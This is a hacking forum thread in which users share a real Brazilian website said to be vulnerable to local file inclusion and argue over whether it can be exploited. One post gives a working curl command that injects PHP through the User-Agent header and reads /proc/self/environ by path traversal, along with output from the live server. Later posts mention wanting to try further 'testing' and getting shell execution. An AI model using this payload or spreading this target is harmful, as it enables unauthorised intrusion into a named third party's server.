[PIUN]

So... I just found a website vulnerable to LFI. If you would like it, here it is LFI VULNERABLE LINK

🤝

[ℛℛℛoooℛℛℛ]

The vulnerability is useless since it may not be able to be exploited.

[Tony S]

The vulnerability is useless since it may not be able to be exploited.

wat

It's exploitable using the oldest method in the book.

$ curl -s --header 'user-agent: <?php echo "__" . getcwd() . "__"; ?>' 'http://www.fwkfesp.com.br/index.php?pagina=.././.././../proc/./self/./environ' | grep -Eo 'HTTP_USER_AGENT=__.+__'
HTTP_USER_AGENT=__/home/fwkfespc/public_html__

[ℛℛℛoooℛℛℛ]

LOL I didn't check it bro, that's why I said "may", all I did was up an apostrophe lol. There are several ways to exploit LFI, cURL is one of the few. Thanks for pointing that out anyway.

-Chosen-

-

[Tony S]

LOL I didn't check it bro, that's why I said "may", all I did was up an apostrophe lol. There are several ways to exploit LFI, cURL is one of the few. Thanks for pointing that out anyway.

-Chosen-

-

You said it was useless. And do you even know what cURL is or what I posted was and why I posted it?

[ℛℛℛoooℛℛℛ]

You said it was useless. And do you even know what cURL is or what I posted was and why I posted it?

No, i have NO idea what cURL is and i never have used it before 😑 Lets just stop right there before you make any more assumptions of me. If you would like to believe i dont know anything, you are entitled to your beliefs 👍

Its useless because it MAY not be exploitable, you just dont stop at one word of the sentence because you want to prove a point. Once again, i didnt check it the vuln, as i stated before.

Have a nice day bud,

-Chosen-

[HaxOr❤]

You said it was useless. And do you even know what cURL is or what I posted was and why I posted it?

I cant belive you just said that Chosen doesnt know what cURL is.

[Tony S]

I cant belive you just said that Chosen doesnt know what cURL is.

I can't believe you care enough to waste a post saying that. I was asking him a question. I never stated anything. It's in the past. I don't care, and neither should you.

[133720]

Now, This Site is Down Time :D
I also want to try some testing .

[wowrude]

This is a pretty good challenge in terms of achieving bash/sh execution, as there are a plethora of disabled funcitons as well as an un-writable document root.